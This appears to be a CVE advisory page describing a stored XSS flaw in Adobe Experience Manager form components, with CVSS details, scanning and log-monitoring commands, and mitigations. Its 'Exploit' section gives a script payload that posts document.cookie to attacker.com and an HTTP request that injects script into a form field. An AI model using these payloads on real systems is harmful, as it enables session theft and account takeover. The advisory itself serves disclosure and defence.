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CVE-2026-47970 is a stored cross-site scripting (XSS) vulnerability in Adobe Experience Manager (AEM) versions 6.5.24, LTS SP1, 2026.04, and all earlier releases. Tracked under CWE-79, it represents a classic persistent XSS flaw where an attacker’s malicious input is permanently stored in the application’s database or storage layer and later executed in a victim’s browser without proper sanitization or validation.
The core of the issue lies in AEM’s form-processing components, which fail to adequately sanitize user-supplied data before storing and rendering it back to users. A low-privileged attacker—someone with minimal access rights such as a standard content author—can exploit this by injecting a malicious JavaScript payload into a vulnerable form field. The payload is then permanently saved to the AEM repository.
The exploitation chain unfolds as follows: The attacker, requiring only the ability to submit data through a form field, injects the crafted script. AEM stores this input without proper output encoding. Later, when a legitimate user (e.g., an editor or administrator) visits the page containing the compromised field, the stored script is served and executed in their browser context. This execution occurs within the AEM application’s same origin, granting the attacker’s script the same privileges as the victim user. The vulnerability’s scope is “changed” because it crosses security boundaries, affecting resources outside the vulnerable component’s original authority.
The attack vector is network-based (AV:N), requiring low attack complexity (AC:L). The attacker needs low privileges (PR:L), and user interaction is required (UI:R)—specifically, the victim must browse to the impacted page. The CVSS 3.1 base score is 5.4 (MEDIUM), with low confidentiality and integrity impacts (C:L/I:L) and no availability impact (A:N).
Because the injection is stored persistently, the malicious scripts remain active until manually removed, creating a continuous threat that can affect multiple users over extended periods. This persistence makes the vulnerability particularly dangerous in enterprise environments where AEM is used for managing sensitive corporate information. Potential consequences include session hijacking, credential theft, data exfiltration, content modification, and lateral movement within the compromised environment. The vulnerability demonstrates poor input validation and output encoding practices within AEM’s form components.
DailyCVE Form:
Platform: Adobe Experience Manager (AEM)
Version: 6.5.24, LTS SP1, 2026.04 and earlier
Vulnerability: Stored Cross-Site Scripting (XSS, CWE-79)
Severity: MEDIUM (CVSS 5.4)
Date: 2026-06-09
Prediction: 2026-06-23 (within two weeks, typical for AEM medium-priority patches)
What Undercode Say:
Analytics:
curl -X GET "https://aem-cms.example.com/libs/granite/core/content/login.html" \ -H "User-Agent: AEM-Security-Monitor/1.0"
Scan for exposed forms:
find /opt/aem/crx-quickstart/repository -name ".jsp" -o -name ".html" | \ xargs grep -l "form.action" | while read form; do echo "[!] Potential vulnerable form: $form" done
Monitor for injection patterns in logs:
tail -f /opt/aem/crx-quickstart/logs/error.log | \ grep -E "(<script|javascript:|onerror=)"
Exploit:
// Injection payload to be inserted into a vulnerable form field
const xssPayload = '"><script>fetch("https://attacker.com/steal", {method:"POST",body:document.cookie})</script>';
// Additional encoded alternative
const encodedPayload = '%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E';
Low-privileged attacker submits via POST:
POST /content/forms/af/vulnerable-form.html HTTP/1.1
Host: aem-cms.example.com
Content-Type: application/x-www-form-urlencoded
field1=valid&field2=malicious%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E
Protection:
- Patch: Immediately upgrade AEM to any version released after June 9, 2026, which contains the fix.
- WAF Rule: Deploy a Web Application Firewall rule to block patterns like `((%3C)|<)[^>]((%3E)|>)` and `javascript:` schemes in form submissions.
- CSP Header: Implement a strict Content Security Policy with `script-src ‘self’` to prevent execution of inline or unauthorized scripts.
- Input Validation: Add server-side sanitization libraries (e.g., OWASP Java HTML Sanitizer) in AEM’s form handling servlets.
- Output Encoding: Encode all user-supplied data as HTML entities when rendering in responses, using AEM’s XSS API (
xssAPI.encodeForHTML()).
Impact:
Data Breach: Attackers can steal session cookies, authentication tokens, and sensitive form data from victims with elevated privileges.
Privilege Escalation: By hijacking an administrator’s session, an attacker gains full control over the AEM instance, including all sites, users, and configurations.
Content Defacement: Malicious scripts can modify or delete published content, trust in the system and compliance.
Supply Chain Infection: The injected script can be used to redirect visitors to malicious sites or download malware, potentially infecting entire enterprise networks.
Persistence: Since the exploit persists in the database, the malicious script remains active for all subsequent visitors until manually removed, leading to long-term compromise of the application.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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